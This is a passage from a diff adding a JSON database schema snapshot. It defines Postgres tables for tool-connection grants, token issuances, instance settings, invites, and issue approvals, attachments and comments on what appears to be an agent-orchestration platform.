+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_grants_created_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_created_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_revoked_by_agent_id_agents_id_fk": {
+          "name": "connection_grants_revoked_by_agent_id_agents_id_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "revoked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_grants_company_connection_fk": {
+          "name": "connection_grants_company_connection_fk",
+          "tableFrom": "connection_grants",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "company_id",
+            "connection_id"
+          ],
+          "columnsTo": [
+            "company_id",
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "connection_grants_kind_check": {
+          "name": "connection_grants_kind_check",
+          "value": "\"connection_grants\".\"kind\" in ('workspace', 'user')"
+        },
+        "connection_grants_status_check": {
+          "name": "connection_grants_status_check",
+          "value": "\"connection_grants\".\"status\" in ('active', 'revoked', 'expired', 'needs_reauthorization')"
+        },
+        "connection_grants_subject_check": {
+          "name": "connection_grants_subject_check",
+          "value": "(\"connection_grants\".\"kind\" = 'user' and \"connection_grants\".\"subject_user_id\" is not null) or (\"connection_grants\".\"kind\" = 'workspace' and \"connection_grants\".\"subject_user_id\" is null)"
+        },
+        "connection_grants_default_check": {
+          "name": "connection_grants_default_check",
+          "value": "\"connection_grants\".\"is_default\" = false or \"connection_grants\".\"kind\" = 'workspace'"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.connection_token_issuances": {
+      "name": "connection_token_issuances",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_scope": {
+          "name": "requested_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "issued_scope": {
+          "name": "issued_scope",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "ttl_seconds": {
+          "name": "ttl_seconds",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "connection_token_issuances_company_created_idx": {
+          "name": "connection_token_issuances_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_connection_created_idx": {
+          "name": "connection_token_issuances_connection_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_agent_connection_idx": {
+          "name": "connection_token_issuances_agent_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "connection_token_issuances_run_idx": {
+          "name": "connection_token_issuances_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "connection_token_issuances_company_id_companies_id_fk": {
+          "name": "connection_token_issuances_company_id_companies_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_application_id_tool_applications_id_fk": {
+          "name": "connection_token_issuances_application_id_tool_applications_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_connection_id_tool_connections_id_fk": {
+          "name": "connection_token_issuances_connection_id_tool_connections_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_agent_id_agents_id_fk": {
+          "name": "connection_token_issuances_agent_id_agents_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_run_id_heartbeat_runs_id_fk": {
+          "name": "connection_token_issuances_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_issue_id_issues_id_fk": {
+          "name": "connection_token_issuances_issue_id_issues_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "connection_token_issuances_project_id_projects_id_fk": {
+          "name": "connection_token_issuances_project_id_projects_id_fk",
+          "tableFrom": "connection_token_issuances",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_settings": {
+      "name": "instance_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "singleton_key": {
+          "name": "singleton_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "general": {
+          "name": "general",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "experimental": {
+          "name": "experimental",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_settings_singleton_key_idx": {
+          "name": "instance_settings_singleton_key_idx",
+          "columns": [
+            {
+              "expression": "singleton_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "instance_settings_default_environment_id_environments_id_fk": {
+          "name": "instance_settings_default_environment_id_environments_id_fk",
+          "tableFrom": "instance_settings",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.instance_user_roles": {
+      "name": "instance_user_roles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'instance_admin'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "instance_user_roles_user_role_unique_idx": {
+          "name": "instance_user_roles_user_role_unique_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "instance_user_roles_role_idx": {
+          "name": "instance_user_roles_role_idx",
+          "columns": [
+            {
+              "expression": "role",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.invites": {
+      "name": "invites",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invite_type": {
+          "name": "invite_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company_join'"
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "allowed_join_types": {
+          "name": "allowed_join_types",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'both'"
+        },
+        "defaults_payload": {
+          "name": "defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "invited_by_user_id": {
+          "name": "invited_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "accepted_at": {
+          "name": "accepted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "invites_token_hash_unique_idx": {
+          "name": "invites_token_hash_unique_idx",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "invites_company_invite_state_idx": {
+          "name": "invites_company_invite_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "invite_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revoked_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "invites_company_id_companies_id_fk": {
+          "name": "invites_company_id_companies_id_fk",
+          "tableFrom": "invites",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_approvals": {
+      "name": "issue_approvals",
+      "schema": "",
+      "columns": {
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "linked_by_agent_id": {
+          "name": "linked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_by_user_id": {
+          "name": "linked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_approvals_issue_idx": {
+          "name": "issue_approvals_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_approval_idx": {
+          "name": "issue_approvals_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_approvals_company_idx": {
+          "name": "issue_approvals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_approvals_company_id_companies_id_fk": {
+          "name": "issue_approvals_company_id_companies_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_issue_id_issues_id_fk": {
+          "name": "issue_approvals_issue_id_issues_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_approval_id_approvals_id_fk": {
+          "name": "issue_approvals_approval_id_approvals_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_approvals_linked_by_agent_id_agents_id_fk": {
+          "name": "issue_approvals_linked_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "linked_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_approvals_pk": {
+          "name": "issue_approvals_pk",
+          "columns": [
+            "issue_id",
+            "approval_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_attachments": {
+      "name": "issue_attachments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_attachments_company_issue_idx": {
+          "name": "issue_attachments_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_issue_comment_idx": {
+          "name": "issue_attachments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_attachments_asset_uq": {
+          "name": "issue_attachments_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_attachments_company_id_companies_id_fk": {
+          "name": "issue_attachments_company_id_companies_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_id_issues_id_fk": {
+          "name": "issue_attachments_issue_id_issues_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_asset_id_assets_id_fk": {
+          "name": "issue_attachments_asset_id_assets_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_attachments_issue_comment_id_issue_comments_id_fk": {
+          "name": "issue_attachments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_attachments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_comments": {
+      "name": "issue_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "on_behalf_of_user_id": {
+          "name": "on_behalf_of_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_agent_id": {
+          "name": "derived_author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_created_by_run_id": {
+          "name": "derived_created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "derived_author_source": {
+          "name": "derived_author_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "presentation": {
+          "name": "presentation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_type": {
+          "name": "deleted_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_agent_id": {
+          "name": "deleted_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_user_id": {
+          "name": "deleted_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_by_run_id": {
+          "name": "deleted_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_comments_issue_idx": {
+          "name": "issue_comments_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_idx": {
+          "name": "issue_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_issue_created_at_idx": {
+          "name": "issue_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_company_author_issue_created_at_idx": {
+          "name": "issue_comments_company_author_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "author_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_comments_body_search_idx": {
+          "name": "issue_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_comments_company_id_companies_id_fk": {
+          "name": "issue_comments_company_id_companies_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_issue_id_issues_id_fk": {
+          "name": "issue_comments_issue_id_issues_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_comments_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_comments_on_behalf_of_user_id_user_id_fk": {
+          "name": "issue_comments_on_behalf_of_user_id_user_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "user",
+          "columnsFrom": [
+            "on_behalf_of_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_derived_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "derived_author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "derived_created_by_run_id"
